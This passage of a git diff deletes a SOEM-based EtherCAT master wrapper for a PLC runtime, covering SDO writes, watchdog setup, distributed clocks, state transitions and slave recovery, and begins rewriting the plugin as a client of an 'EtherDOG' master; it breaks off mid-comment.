SOEM default */ - int sdo_timeout_us = (sdo_timeout_ms > 0) ? (sdo_timeout_ms * 1000) : EC_TIMEOUTRXM; - - int wkc = ecx_SDOwrite(&inst->ecx_context, (uint16)slave_pos, - index, sdo->subindex, - FALSE, size, value_buf, sdo_timeout_us); - - if (wkc <= 0) { - plugin_logger_warn(logger, - "Slave %d SDO 0x%04X:%d write failed (wkc=%d, name='%s')", - slave_pos, index, sdo->subindex, wkc, sdo->name); - } else { - plugin_logger_debug(logger, - "Slave %d SDO 0x%04X:%d write OK (name='%s')", - slave_pos, index, sdo->subindex, sdo->name); - written++; - } - } - - if (written < sdo_count) { - plugin_logger_warn(logger, - "Slave %d: only %d/%d SDOs written successfully", - slave_pos, written, sdo_count); - return -1; - } - plugin_logger_info(logger, "Slave %d: %d/%d SDOs written successfully", - slave_pos, written, sdo_count); - return 0; -} - -/* - * ============================================================================= - * Phase 3: Process Data Mapping + Distributed Clocks - * ============================================================================= - */ - -/** - * @brief Configure watchdog timers for a single slave via register writes. - * - * EtherCAT watchdog registers (addressed by configured address): - * 0x0400 (2 bytes) - Watchdog divider (default 0x09C2 = 2498) - * 0x0402 (2 bytes) - PDI watchdog time (in watchdog divider ticks) - * 0x0420 (2 bytes) - SM watchdog time (in watchdog divider ticks) - * - * Default divider 0x09C2 = 2498 -> (2498+2)*25ns = 62.5us per tick. - * To set watchdog to X ms: ticks = X * 1000 / 62.5 = X * 16 - * - * SM watchdog is treated as a critical configuration when @p strict is - * true: if the FPWR returns wkc<=0, the slave would run with the - * EEPROM-default watchdog (often disabled), defeating the operator's - * intent. PDI watchdog is always best-effort -- many slaves do not - * support that register and return wkc=0 legitimately. - * - * @param inst Master instance - * @param slave_pos 1-based slave position on the bus - * @param wd Watchdog configuration - * @param strict Abort startup on SM watchdog write failure - * @param logger Plugin logger instance - * @return 0 on success, -1 on SM watchdog write failure with @p strict - */ -static int ecat_master_configure_watchdog(ecat_master_instance_t *inst, int slave_pos, - const ecat_watchdog_t *wd, - bool strict, - plugin_logger_t *logger) -{ - /* Maximum watchdog timeout in ms that fits in a uint16_t register - * with the default divider (1 tick = 62.5 us -> ticks = ms * 16). - * 65535 / 16 = 4095.9 ms */ - const int max_watchdog_ms = UINT16_MAX / 16; - - uint16_t configadr = inst->ecx_context.slavelist[slave_pos].configadr; - int wkc; - - /* SM watchdog register 0x0420 - only write if explicitly enabled. */ - if (wd->sm_watchdog_enabled) { - uint16_t sm_wd_ticks = 0; - if (wd->sm_watchdog_ms > 0) { - int clamped_ms = wd->sm_watchdog_ms; - if (clamped_ms > max_watchdog_ms) { - plugin_logger_warn(logger, - "Slave %d: SM watchdog %d ms exceeds max %d ms, clamping", - slave_pos, wd->sm_watchdog_ms, max_watchdog_ms); - clamped_ms = max_watchdog_ms; - } - sm_wd_ticks = (uint16_t)(clamped_ms * 16); - } - wkc = ecx_FPWR(&inst->ecx_context.port, configadr, 0x0420, - sizeof(sm_wd_ticks), &sm_wd_ticks, EC_TIMEOUTRET); - if (wkc <= 0) { - if (strict) { - plugin_logger_error(logger, - "Slave %d: failed to write SM watchdog register 0x0420 (wkc=%d) -- " - "slave would run with EEPROM-default watchdog (often disabled)", - slave_pos, wkc); - return -1; - } - plugin_logger_warn(logger, - "Slave %d: SM watchdog write failed (wkc=%d), strict_sdo=false -- continuing", - slave_pos, wkc); - } else { - plugin_logger_debug(logger, - "Slave %d: SM watchdog enabled (ticks=%u, ~%d ms)", - slave_pos, sm_wd_ticks, wd->sm_watchdog_ms); - } - } else { - plugin_logger_debug(logger, - "Slave %d: SM watchdog disabled, skipping register write", - slave_pos); - } - - /* PDI watchdog register 0x0402 - many slaves do not support this - * register and return wkc=0 legitimately, so always best-effort. */ - if (wd->pdi_watchdog_enabled) { - uint16_t pdi_wd_ticks = 0; - if (wd->pdi_watchdog_ms > 0) { - int clamped_ms = wd->pdi_watchdog_ms; - if (clamped_ms > max_watchdog_ms) { - plugin_logger_warn(logger, - "Slave %d: PDI watchdog %d ms exceeds max %d ms, clamping", - slave_pos, wd->pdi_watchdog_ms, max_watchdog_ms); - clamped_ms = max_watchdog_ms; - } - pdi_wd_ticks = (uint16_t)(clamped_ms * 16); - } - wkc = ecx_FPWR(&inst->ecx_context.port, configadr, 0x0402, - sizeof(pdi_wd_ticks), &pdi_wd_ticks, EC_TIMEOUTRET); - if (wkc <= 0) { - plugin_logger_warn(logger, - "Slave %d: PDI watchdog write returned wkc=%d (many slaves do not " - "support this register -- typically benign)", - slave_pos, wkc); - } else { - plugin_logger_debug(logger, - "Slave %d: PDI watchdog enabled (ticks=%u, ~%d ms)", - slave_pos, pdi_wd_ticks, wd->pdi_watchdog_ms); - } - } else { - plugin_logger_debug(logger, - "Slave %d: PDI watchdog disabled, skipping register write", - slave_pos); - } - - return 0; -} - -/** - * @brief Configure Distributed Clocks per slave based on JSON configuration. - * - * First calls ecx_configdc() to discover DC-capable slaves and measure - * propagation delays. Then for each slave with dc.enabled, configures - * SYNC0 and/or SYNC1 signals. - * - * @param config Parsed EtherCAT configuration - * @param logger Plugin logger instance - */ -static void ecat_master_configure_dc(ecat_master_instance_t *inst, plugin_logger_t *logger) -{ - const ecat_config_t *config = &inst->config; - - /* Step 1: Let SOEM discover DC-capable slaves and measure delays */ - plugin_logger_info(logger, "Configuring Distributed Clocks..."); - ecx_configdc(&inst->ecx_context); - - /* Step 2: Apply per-slave DC configuration */ - for (int i = 0; i < config->slave_count; i++) { - const ecat_slave_t *slave = &config->slaves[i]; - int pos = slave->position; - - if (!slave->dc.enabled) - continue; - - if (pos < 1 || pos > inst->ecx_context.slavecount) { - plugin_logger_warn(logger, - "Slave %d (%s): DC config skipped - position out of range", - pos, slave->name); - continue; - } - - if (!inst->ecx_context.slavelist[pos].hasdc) { - plugin_logger_warn(logger, - "Slave %d (%s): DC config requested but slave has no DC support", - pos, slave->name); - continue; - } - - /* Determine cycle time: use slave-specific or fall back to master cycle */ - uint32_t cycle_ns; - if (slave->dc.sync_unit_cycle_us > 0) { - cycle_ns = (uint32_t)(slave->dc.sync_unit_cycle_us * 1000); - } else { - cycle_ns = (uint32_t)(config->master.cycle_time_us * 1000); - } - - if (slave->dc.sync0_enabled && slave->dc.sync1_enabled) { - /* Both SYNC0 and SYNC1 */ - uint32_t cycle0_ns = (slave->dc.sync0_cycle_us > 0) - ? (uint32_t)(slave->dc.sync0_cycle_us * 1000) : cycle_ns; - uint32_t cycle1_ns = (slave->dc.sync1_cycle_us > 0) - ? (uint32_t)(slave->dc.sync1_cycle_us * 1000) : cycle_ns; - int32_t shift_ns = (int32_t)(slave->dc.sync0_shift_us * 1000); - - ecx_dcsync01(&inst->ecx_context, (uint16)pos, TRUE, - cycle0_ns, cycle1_ns, shift_ns); - - plugin_logger_info(logger, - "Slave %d (%s): DC SYNC0+SYNC1 enabled " - "(cycle0=%u ns, cycle1=%u ns, shift=%d ns)", - pos, slave->name, cycle0_ns, cycle1_ns, shift_ns); - - } else if (slave->dc.sync0_enabled) { - /* SYNC0 only */ - uint32_t sync0_ns = (slave->dc.sync0_cycle_us > 0) - ? (uint32_t)(slave->dc.sync0_cycle_us * 1000) : cycle_ns; - int32_t shift_ns = (int32_t)(slave->dc.sync0_shift_us * 1000); - - ecx_dcsync0(&inst->ecx_context, (uint16)pos, TRUE, - sync0_ns, shift_ns); - - plugin_logger_info(logger, - "Slave %d (%s): DC SYNC0 enabled (cycle=%u ns, shift=%d ns)", - pos, slave->name, sync0_ns, shift_ns); - - } else { - /* DC enabled but no SYNC signals - just log it */ - plugin_logger_debug(logger, - "Slave %d (%s): DC enabled but no SYNC signals configured", - pos, slave->name); - } - } -} - -int ecat_master_configure(ecat_master_instance_t *inst, plugin_logger_t *logger) -{ - const ecat_config_t *config = &inst->config; - - if (!inst->soem_initialized) { - plugin_logger_error(logger, "Cannot configure: SOEM not initialized"); - return -1; - } - - /* Step 4: Map process data (IO map). ecx_config_map_group returns - * the IOmap size in bytes -- 0 means SOEM could not lay out PDOs - * (typically SII corrupted, mailbox stuck, or slave not responding - * to FPRD). Without this check we would silently enter SAFE-OP/OP - * with an empty IOmap and produce wkc=0 every cycle. */ - plugin_logger_info(logger, "Mapping process data..."); - - int io_size = ecx_config_map_group(&inst->ecx_context, &inst->iomap, 0); - if (io_size <= 0) { - plugin_logger_error(logger, - "ecx_config_map_group returned %d -- process data mapping failed " - "(likely SII / mailbox issue)", io_size); - return -1; - } - if (io_size > ECAT_IOMAP_SIZE) { - plugin_logger_error(logger, "IOmap overflow: need %d bytes, have %d", - io_size, ECAT_IOMAP_SIZE); - return -1; - } - - inst->iomap_used_size = (size_t)io_size; - - /* Cross-check: the per-group totals should add up to the same value - * SOEM returned. A mismatch is a SOEM bug or our config is racy -- - * not fatal but worth surfacing. */ - ec_groupt *grp = &inst->ecx_context.grouplist[0]; - uint32_t grp_total = (uint32_t)grp->Obytes + (uint32_t)grp->Ibytes; - if ((int)grp_total != io_size) { - plugin_logger_warn(logger, - "IOmap size mismatch: ecx returned %d but grp totals=%u " - "(Obytes=%d Ibytes=%d)", - io_size, grp_total, grp->Obytes, grp->Ibytes); - } - - plugin_logger_info(logger, "IO map: %d output bytes, %d input bytes, %d segments", - grp->Obytes, grp->Ibytes, grp->nsegments); - - /* Step 5: Configure watchdogs per slave. Reuses slave->strict_sdo -- - * a slave that wants strict SDO writes also wants strict SM watchdog - * writes; both are critical configuration the operator pinned in JSON. */ - plugin_logger_info(logger, "Configuring per-slave watchdogs..."); - for (int i = 0; i < config->slave_count; i++) { - const ecat_slave_t *slave = &config->slaves[i]; - int pos = slave->position; - if (pos < 1 || pos > inst->ecx_context.slavecount) - continue; - if (ecat_master_configure_watchdog(inst, pos, &slave->watchdog, - slave->strict_sdo, logger) != 0) { - plugin_logger_error(logger, - "Master '%s': Slave %d (%s): SM watchdog config failed and " - "strict_sdo=true -- aborting startup", - inst->name, pos, slave->name); - return -1; - } - } - - /* Step 6: Configure Distributed Clocks per slave */ - ecat_master_configure_dc(inst, logger); - - return 0; -} - -/* - * ============================================================================= - * Phase 4: Transition to OPERATIONAL - * ============================================================================= - */ - -int ecat_master_transition_to_op(ecat_master_instance_t *inst, plugin_logger_t *logger) -{ - const ecat_config_t *config = &inst->config; - - if (!inst->soem_initialized) { - plugin_logger_error(logger, "Cannot transition: SOEM not initialized"); - return -1; - } - - /* Compute maximum SAFE-OP->OP timeout across all configured slaves */ - int max_safeop_timeout_us = 0; - for (int i = 0; i < config->slave_count; i++) { - int t_us = config->slaves[i].timeouts.safeop_to_op_timeout_ms * 1000; - if (t_us > max_safeop_timeout_us) - max_safeop_timeout_us = t_us; - } - if (max_safeop_timeout_us == 0) - max_safeop_timeout_us = EC_TIMEOUTSTATE * 4; - - /* Step 6: Wait for SAFE_OP after config */ - plugin_logger_info(logger, "Waiting for SAFE_OP state..."); - plugin_logger_debug(logger, "Using SAFE-OP->OP timeout: %d us", max_safeop_timeout_us); - - ecx_statecheck(&inst->ecx_context, 0, EC_STATE_SAFE_OP, max_safeop_timeout_us); - - /* Read back actual states */ - ecx_readstate(&inst->ecx_context); - if (inst->ecx_context.slavelist[0].state != EC_STATE_SAFE_OP) { - plugin_logger_error(logger, - "Not all slaves reached SAFE_OP state (current state: 0x%04X)", - inst->ecx_context.slavelist[0].state); - - /* Log individual slave states for debugging */ - for (int i = 1; i <= inst->ecx_context.slavecount; i++) { - ec_slavet *slave = &inst->ecx_context.slavelist[i]; - if (slave->state != EC_STATE_SAFE_OP) { - plugin_logger_error(logger, - " Slave %d (%s): state=0x%04X, ALstatuscode=0x%04X", - i, slave->name, slave->state, slave->ALstatuscode); - } - } - - return -1; - } - - plugin_logger_info(logger, "All slaves in SAFE_OP state"); - - /* Step 7: Send initial process data and request OPERATIONAL */ - plugin_logger_info(logger, "Requesting OPERATIONAL state..."); - - /* Send one round of process data to make slave outputs happy */ - ecx_send_processdata(&inst->ecx_context); - ecx_receive_processdata(&inst->ecx_context, EC_TIMEOUTRET); - - /* Request OP state */ - inst->ecx_context.slavelist[0].state = EC_STATE_OPERATIONAL; - ecx_writestate(&inst->ecx_context, 0); - - /* Poll for OP state with process data exchange between checks. - * - * Cadence is bounded by the smallest configured SM watchdog: a SAFE-OP - * slave's SM2 watchdog starts counting on SAFE-OP entry and trips with - * AL Status 0x001B if the master stops writing for longer than - * sm_watchdog_ms. Cap the per-iteration statecheck timeout to a - * quarter of that smallest watchdog so the trickle of exchanges keeps - * SM2 rearmed throughout the SAFE-OP -> OP poll, regardless of how - * generous safeop_to_op_timeout_ms is set per slave. */ - int min_sm_wd_us = 0; - for (int i = 0; i < config->slave_count; i++) { - const ecat_watchdog_t *wd = &config->slaves[i].watchdog; - if (wd->sm_watchdog_enabled && wd->sm_watchdog_ms > 0) { - int wd_us = wd->sm_watchdog_ms * 1000; - if (min_sm_wd_us == 0 || wd_us < min_sm_wd_us) - min_sm_wd_us = wd_us; - } - } - /* Default ESC SM watchdog is 100 ms. Use it when no slave has an - * explicit watchdog configured. */ - if (min_sm_wd_us == 0) - min_sm_wd_us = 100 * 1000; - - int poll_timeout_us = min_sm_wd_us / 4; - if (poll_timeout_us < EC_TIMEOUTRET) - poll_timeout_us = EC_TIMEOUTRET; - - /* Total polling budget is the longest configured safeop->op timeout. - * Derive the retry count from the cadence we need. */ - int retries = max_safeop_timeout_us / poll_timeout_us; - if (retries < ECAT_OP_POLL_RETRIES) - retries = ECAT_OP_POLL_RETRIES; - - plugin_logger_debug(logger, - "OP poll cadence: timeout=%d us, retries=%d " - "(min SM watchdog among slaves=%d us)", - poll_timeout_us, retries, min_sm_wd_us); - - int op_reached = 0; - for (int retry = 0; retry < retries; retry++) { - ecx_send_processdata(&inst->ecx_context); - ecx_receive_processdata(&inst->ecx_context, EC_TIMEOUTRET); - ecx_statecheck(&inst->ecx_context, 0, EC_STATE_OPERATIONAL, poll_timeout_us); - - if (inst->ecx_context.slavelist[0].state == EC_STATE_OPERATIONAL) { - op_reached = 1; - break; - } - } - - if (!op_reached) { - plugin_logger_error(logger, - "Not all slaves reached OPERATIONAL state after %d retries " - "(poll_timeout=%d us)", - retries, poll_timeout_us); - - /* Log individual slave states for debugging */ - ecx_readstate(&inst->ecx_context); - for (int i = 1; i <= inst->ecx_context.slavecount; i++) { - ec_slavet *slave = &inst->ecx_context.slavelist[i]; - if (slave->state != EC_STATE_OPERATIONAL) { - plugin_logger_error(logger, - " Slave %d (%s): state=0x%04X, ALstatuscode=0x%04X", - i, slave->name, slave->state, slave->ALstatuscode); - } - } - - return -1; - } - - plugin_logger_info(logger, "EtherCAT master operational with %d slave(s)", - inst->ecx_context.slavecount); - - return 0; -} - -/* - * ============================================================================= - * Master Close - * ============================================================================= - */ - -void ecat_master_close(ecat_master_instance_t *inst, plugin_logger_t *logger) -{ - if (inst->soem_initialized) { - /* Step 1: drive outputs to zero before the transition (safe-close). - * For drives, valves and active-high IO this leaves the slave in a - * safe state immediately, before its SM watchdog has a chance to - * fire. Skip when there is no IOmap yet (close on early-startup - * failure path). */ - if (inst->config.master.safe_close && inst->iomap_used_size > 0) { - plugin_logger_info(logger, - "Zeroing outputs and sending final processdata before close"); - memset(inst->iomap, 0, inst->iomap_used_size); - ecx_send_processdata(&inst->ecx_context); - int wkc = ecx_receive_processdata(&inst->ecx_context, EC_TIMEOUTRET); - if (wkc <= 0) { - plugin_logger_warn(logger, - "Final processdata returned wkc=%d -- outputs may not have " - "reached slaves; falling back to slave SM watchdog", wkc); - } - } - - /* Step 2: request INIT and confirm the transition. Discarding - * wkc here meant slaves could remain in OP/SAFE-OP after stop_loop - * if the broadcast did not reach them. */ - plugin_logger_info(logger, "Transitioning slaves to INIT state..."); - inst->ecx_context.slavelist[0].state = EC_STATE_INIT; - int init_wkc = ecx_writestate(&inst->ecx_context, 0); - if (init_wkc <= 0) { - plugin_logger_error(logger, - "writestate(INIT) returned wkc=%d -- slaves may remain in " - "OP/SAFE-OP until their SM watchdog expires", init_wkc); - } else { - /* Short timeout -- not worth waiting safeop_to_op here. */ - ecx_statecheck(&inst->ecx_context, 0, EC_STATE_INIT, EC_TIMEOUTSTATE); - ecx_readstate(&inst->ecx_context); - int stuck = 0; - for (int i = 1; i <= inst->ecx_context.slavecount; i++) { - uint16_t st = inst->ecx_context.slavelist[i].state; - if (st != EC_STATE_INIT) { - plugin_logger_warn(logger, - "Slave %d (%s): did not reach INIT (state=0x%04X) -- " - "fallback to slave SM watchdog", - i, inst->ecx_context.slavelist[i].name, st); - stuck++; - } - } - if (stuck == 0) { - plugin_logger_info(logger, "All slaves confirmed in INIT"); - } - } - - /* Step 3: close the network interface */ - ecx_close(&inst->ecx_context); - inst->soem_initialized = 0; - } - - /* Always attempt to revert iface state, even if SOEM init had failed - * after we already modified the interface. Revert reads in-memory - * flags and is a no-op when nothing was applied. */ - ecat_iface_state_revert(&inst->iface_state, logger); - - /* Clear IO map */ - memset(inst->iomap, 0, sizeof(inst->iomap)); - inst->iomap_used_size = 0; - - plugin_logger_info(logger, "EtherCAT master closed"); -} - -/* - * ============================================================================= - * Process Data and State Access - * ============================================================================= - */ - -int ecat_master_exchange_processdata(ecat_master_instance_t *inst, int timeout_us) -{ - ecx_send_processdata(&inst->ecx_context); - int wkc = ecx_receive_processdata(&inst->ecx_context, - (timeout_us > 0) ? timeout_us : EC_TIMEOUTRET); - return wkc; -} - -int ecat_master_get_expected_wkc(ecat_master_instance_t *inst) -{ - ec_groupt *grp = &inst->ecx_context.grouplist[0]; - return (grp->outputsWKC * 2) + grp->inputsWKC; -} - -const ec_slavet *ecat_master_get_slave(ecat_master_instance_t *inst, int position) -{ - if (position < 1 || position > inst->ecx_context.slavecount) - return NULL; - return &inst->ecx_context.slavelist[position]; -} - -uint16_t ecat_master_get_slave_state(ecat_master_instance_t *inst, int position) -{ - if (position < 1 || position > inst->ecx_context.slavecount) - return 0; - return inst->ecx_context.slavelist[position].state; -} - -/* - * ============================================================================= - * Slave Recovery - * ============================================================================= - */ - -/** - * @brief Issue ecx_writestate during recovery, capturing wkc. - * - * wkc<=0 means the request did not reach the slave (link/cable issue, - * not a config problem). Tally these into recovery_writestate_failures - * so the operator can distinguish "physical recovery failure" from - * "slave reachable but rejecting state" in the diagnostics. - * - * @return ecx_writestate's wkc (positive on success, <=0 on no response) - */ -static int writestate_with_check(ecat_master_instance_t *inst, int position, - uint16_t target_state, plugin_logger_t *logger) -{ - inst->ecx_context.slavelist[position].state = target_state; - int wkc = ecx_writestate(&inst->ecx_context, (uint16)position); - if (wkc <= 0) { - atomic_fetch_add_explicit(&inst->recovery_writestate_failures, 1, - memory_order_relaxed); - plugin_logger_warn(logger, - "Slave %d (%s): writestate(0x%04X) wkc=%d -- request did not " - "reach slave (link/cable issue?)", - position, inst->ecx_context.slavelist[position].name, - target_state, wkc); - } - return wkc; -} - -int ecat_master_recover_slave(ecat_master_instance_t *inst, int position, plugin_logger_t *logger) -{ - if (position < 1 || position > inst->ecx_context.slavecount) { - plugin_logger_error(logger, "Invalid slave position %d for recovery", position); - return -1; - } - - ec_slavet *slave = &inst->ecx_context.slavelist[position]; - uint16_t current_state = slave->state; - - if (current_state == EC_STATE_OPERATIONAL) { - /* Already operational */ - return 1; - } - - if (current_state == (EC_STATE_SAFE_OP + EC_STATE_ERROR)) { - /* SAFE_OP + ERROR: ACK the error, then request OP */ - plugin_logger_info(logger, - "Slave %d (%s): SAFE_OP+ERROR (ALstatus=0x%04X), sending ACK", - position, slave->name, slave->ALstatuscode); - - writestate_with_check(inst, position, EC_STATE_SAFE_OP + EC_STATE_ACK, logger); - - /* Now request OP */ - writestate_with_check(inst, position, EC_STATE_OPERATIONAL, logger); - - /* Check if it worked */ - ecx_statecheck(&inst->ecx_context, (uint16)position, - EC_STATE_OPERATIONAL, EC_TIMEOUTRET); - - if (slave->state == EC_STATE_OPERATIONAL) { - plugin_logger_info(logger, "Slave %d (%s): recovered to OP", - position, slave->name); - return 1; - } - return 0; - } - - if (current_state == EC_STATE_SAFE_OP) { - /* SAFE_OP: just request OP */ - plugin_logger_info(logger, "Slave %d (%s): in SAFE_OP, requesting OP", - position, slave->name); - - writestate_with_check(inst, position, EC_STATE_OPERATIONAL, logger); - - ecx_statecheck(&inst->ecx_context, (uint16)position, - EC_STATE_OPERATIONAL, EC_TIMEOUTRET); - - if (slave->state == EC_STATE_OPERATIONAL) { - plugin_logger_info(logger, "Slave %d (%s): recovered to OP", - position, slave->name); - return 1; - } - return 0; - } - - if (current_state > EC_STATE_NONE) { - /* Lower state but still present: try full reconfiguration */ - plugin_logger_info(logger, - "Slave %d (%s): state=0x%04X, attempting reconfig", - position, slave->name, current_state); - - if (ecx_reconfig_slave(&inst->ecx_context, (uint16)position, EC_TIMEOUTRET)) { - slave->islost = FALSE; - plugin_logger_info(logger, "Slave %d (%s): reconfigured", position, slave->name); - - /* After reconfig, check if it reached OP */ - ecx_statecheck(&inst->ecx_context, (uint16)position, - EC_STATE_OPERATIONAL, EC_TIMEOUTRET); - if (slave->state == EC_STATE_OPERATIONAL) - return 1; - return 0; - } - return 0; - } - - /* EC_STATE_NONE: slave is lost, try recover */ - if (!slave->islost) { - ecx_statecheck(&inst->ecx_context, (uint16)position, - EC_STATE_OPERATIONAL, EC_TIMEOUTRET); - if (slave->state == EC_STATE_NONE) { - slave->islost = TRUE; - plugin_logger_warn(logger, "Slave %d (%s): marked as lost", - position, slave->name); - } - return 0; - } - - /* Slave was marked lost - try to recover */ - if (ecx_recover_slave(&inst->ecx_context, (uint16)position, EC_TIMEOUTRET)) { - slave->islost = FALSE; - plugin_logger_info(logger, "Slave %d (%s): recovered from lost state", - position, slave->name); - return 1; - } - - return 0; -} - -void ecat_master_read_states(ecat_master_instance_t *inst) -{ - if (inst->soem_initialized) - ecx_readstate(&inst->ecx_context); -} - -/* - * ============================================================================= - * IOmap Access - * ============================================================================= - */ - -uint8_t *ecat_master_get_iomap(ecat_master_instance_t *inst) -{ - if (!inst->soem_initialized) - return NULL; - return inst->iomap; -} - -size_t ecat_master_get_iomap_size(ecat_master_instance_t *inst) -{ - return inst->iomap_used_size; -} - -int ecat_master_get_slave_count(ecat_master_instance_t *inst) -{ - if (!inst->soem_initialized) - return 0; - return inst->ecx_context.slavecount; -} diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_master.h b/core/src/drivers/plugins/native/ethercat/ethercat_master.h deleted file mode 100644 index b757de20..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_master.h +++ /dev/null @@ -1,205 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_master.h - * @brief EtherCAT Master SOEM Wrapper Interface - * - * Provides a high-level interface for initializing and managing the - * EtherCAT master using the SOEM library. Handles network initialization, - * slave scanning, topology validation, state transitions, SDO configuration, - * and slave recovery. - * - * The initialization sequence is split into discrete phases to support - * the plugin state machine: - * 1. open_and_scan - Open interface, scan bus, validate topology - * 2. write_sdos - Write SDO parameters to slaves (in PRE-OP) - * 3. configure - Map process data, configure Distributed Clocks - * 4. transition_to_op - Transition all slaves to OPERATIONAL - */ - -#ifndef ETHERCAT_MASTER_H -#define ETHERCAT_MASTER_H - -#include "ethercat_config.h" -#include "plugin_logger.h" -#include "soem/soem.h" - -/** - * @brief Open network interface, scan bus, and validate topology - * - * Performs initialization steps 1-3: - * 1. Open network interface via SOEM - * 2. Scan the bus for slaves - * 3. Validate topology against JSON configuration - * - * @param inst Per-master instance (contains config, SOEM context, IOmap) - * @param logger Plugin logger instance - * @return 0 on success, -1 on failure - */ -int ecat_master_open_and_scan(ecat_master_instance_t *inst, plugin_logger_t *logger); - -/** - * @brief Write SDO parameters to a slave - * - * Writes all configured SDO entries to the specified slave using ecx_SDOwrite. - * Must be called while slaves are in PRE-OP state (after open_and_scan, - * before configure). - * - * @param inst Per-master instance - * @param slave_pos 1-based slave position on the bus - * @param sdos Array of SDO configuration entries - * @param sdo_count Number of SDO entries - * @param sdo_timeout_ms SDO operation timeout in milliseconds (0 = SOEM default) - * @param logger Plugin logger instance - * @return 0 if all SDOs were written, -1 if any SDO write failed - * (sanity-check, missing CoE support, or any wkc<=0). When the - * caller has slave->strict_sdo set, -1 should abort startup. - */ -int ecat_master_write_sdos(ecat_master_instance_t *inst, int slave_pos, - const ecat_sdo_config_t *sdos, - int sdo_count, int sdo_timeout_ms, - plugin_logger_t *logger); - -/** - * @brief Map process data and configure Distributed Clocks - * - * Performs initialization steps 4-5: - * 4. Map process data (IOmap) - * 5. Configure Distributed Clocks - * - * @param inst Per-master instance - * @param logger Plugin logger instance - * @return 0 on success, -1 on failure - */ -int ecat_master_configure(ecat_master_instance_t *inst, plugin_logger_t *logger); - -/** - * @brief Transition all slaves to OPERATIONAL state - * - * Performs initialization steps 6-7: - * 6. Wait for SAFE_OP state - * 7. Request and poll for OPERATIONAL state - * - * Uses per-slave safeop_to_op_timeout_ms from the configuration (the - * maximum across all slaves is applied to the broadcast statecheck). - * - * @param inst Per-master instance (for config and SOEM context) - * @param logger Plugin logger instance - * @return 0 on success, -1 on failure - */ -int ecat_master_transition_to_op(ecat_master_instance_t *inst, plugin_logger_t *logger); - -/** - * @brief Validate bus topology against configuration - * - * Compares the slaves found on the bus with the expected configuration: - * - Number of slaves must match - * - For each slave: vendor_id and product_code must match - * - * @param inst Per-master instance - * @param logger Plugin logger instance - * @return 0 on success, -1 on mismatch - */ -int ecat_master_validate_topology(ecat_master_instance_t *inst, plugin_logger_t *logger); - -/** - * @brief Close the EtherCAT master - * - * Transitions all slaves to INIT state and closes the network interface. - * - * @param inst Per-master instance - * @param logger Plugin logger instance - */ -void ecat_master_close(ecat_master_instance_t *inst, plugin_logger_t *logger); - -/** - * @brief Exchange process data with all slaves - * - * Sends outputs to slaves and receives inputs. - * - * @param inst Per-master instance - * @param timeout_us Receive timeout in microseconds (0 = use SOEM default) - * @return Working counter value from receive, or -1 on error - */ -int ecat_master_exchange_processdata(ecat_master_instance_t *inst, int timeout_us); - -/** - * @brief Get the expected working counter for the bus - * - * Calculated as: outputsWKC * 2 + inputsWKC for group 0. - * - * @param inst Per-master instance - * @return Expected WKC value - */ -int ecat_master_get_expected_wkc(ecat_master_instance_t *inst); - -/** - * @brief Get a pointer to a live SOEM slave descriptor - * - * @param inst Per-master instance - * @param position 1-based slave position on the bus - * @return Pointer to ec_slavet, or NULL if position is invalid - */ -const ec_slavet *ecat_master_get_slave(ecat_master_instance_t *inst, int position); - -/** - * @brief Get the AL state of a specific slave - * - * Reads the current state from the SOEM slavelist (cached from last bus read). - * - * @param inst Per-master instance - * @param position 1-based slave position - * @return EC_STATE_* value, or 0 if position is invalid - */ -uint16_t ecat_master_get_slave_state(ecat_master_instance_t *inst, int position); - -/** - * @brief Attempt to recover a slave that has left OPERATIONAL state - * - * Uses the SOEM recovery pattern: - * - SAFE_OP + ERROR: ACK error, then request OP - * - SAFE_OP: request OP directly - * - Lower states: ecx_reconfig_slave + ecx_recover_slave - * - * @param inst Per-master instance - * @param position 1-based slave position - * @param logger Plugin logger instance - * @return 1 if recovered to OP, 0 if still recovering, -1 on error - */ -int ecat_master_recover_slave(ecat_master_instance_t *inst, int position, plugin_logger_t *logger); - -/** - * @brief Read back all slave states from the bus - * - * Calls ecx_readstate() to refresh the cached slave states. - * - * @param inst Per-master instance - */ -void ecat_master_read_states(ecat_master_instance_t *inst); - -/** - * @brief Get a pointer to the IOmap buffer base - * - * @param inst Per-master instance - * @return Pointer to the IOmap buffer, or NULL if not initialized - */ -uint8_t *ecat_master_get_iomap(ecat_master_instance_t *inst); - -/** - * @brief Get the total IOmap size (inputs + outputs) - * - * @param inst Per-master instance - * @return Total bytes used in the IOmap, or 0 if not initialized - */ -size_t ecat_master_get_iomap_size(ecat_master_instance_t *inst); - -/** - * @brief Get the number of slaves discovered on the bus - * - * @param inst Per-master instance - * @return Slave count, or 0 if not initialized - */ -int ecat_master_get_slave_count(ecat_master_instance_t *inst); - -#endif /* ETHERCAT_MASTER_H */ diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c index e9009eb2..d57bb565 100644 --- a/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c +++ b/core/src/drivers/plugins/native/ethercat/ethercat_plugin.c @@ -3,2106 +3,328 @@ /** * @file ethercat_plugin.c - * @brief EtherCAT Plugin Implementation for OpenPLC Runtime v4 + * @brief EtherCAT client plugin: relays process data between EtherDOG and the image tables. * - * This plugin implements one or more EtherCAT masters using the SOEM library. - * It consumes the ethercat.json configuration generated by the OpenPLC Editor - * and manages the EtherCAT bus lifecycle with an explicit state machine. - * - * Multi-master support: - * - Each JSON entry with "protocol":"ETHERCAT" becomes an independent master - * instance with its own SOEM context, IOmap, channel map, and monitor thread. - * - The plugin-wide logger and runtime args are shared across all masters. - * - * Phase 1: Config parsing, SOEM init, topology validation - * Phase 2: SDO writes, PDO mapping, state transition to OPERATIONAL - * Phase 3: Synchronous process data exchange within PLC scan cycle - * - * Architecture: - * - Each master owns a dedicated `ecat_bus_thread` running at - * SCHED_FIFO with the configured taskPriority. The thread sleeps - * absolutely (CLOCK_MONOTONIC + TIMER_ABSTIME) to its next deadline - * so jitter stays bounded. - * - Per cycle: brief mutex window to copy outputs PLC→IOmap, release - * mutex, run the SOEM exchange (no PLC mutex held), brief mutex - * window again to copy inputs IOmap→PLC. Splits the I/O window so - * IEC scan tasks aren't blocked across the network round-trip. - * - Per-master scan_cycle_tracker registered with the runtime so - * STATS reports bus cycle timing alongside the IEC tasks. - * - The legacy cycle_start/cycle_end plugin hooks are gone. + * The EtherCAT master is EtherDOG, supervised by the webserver: + * start_loop: connect, start the bus, read 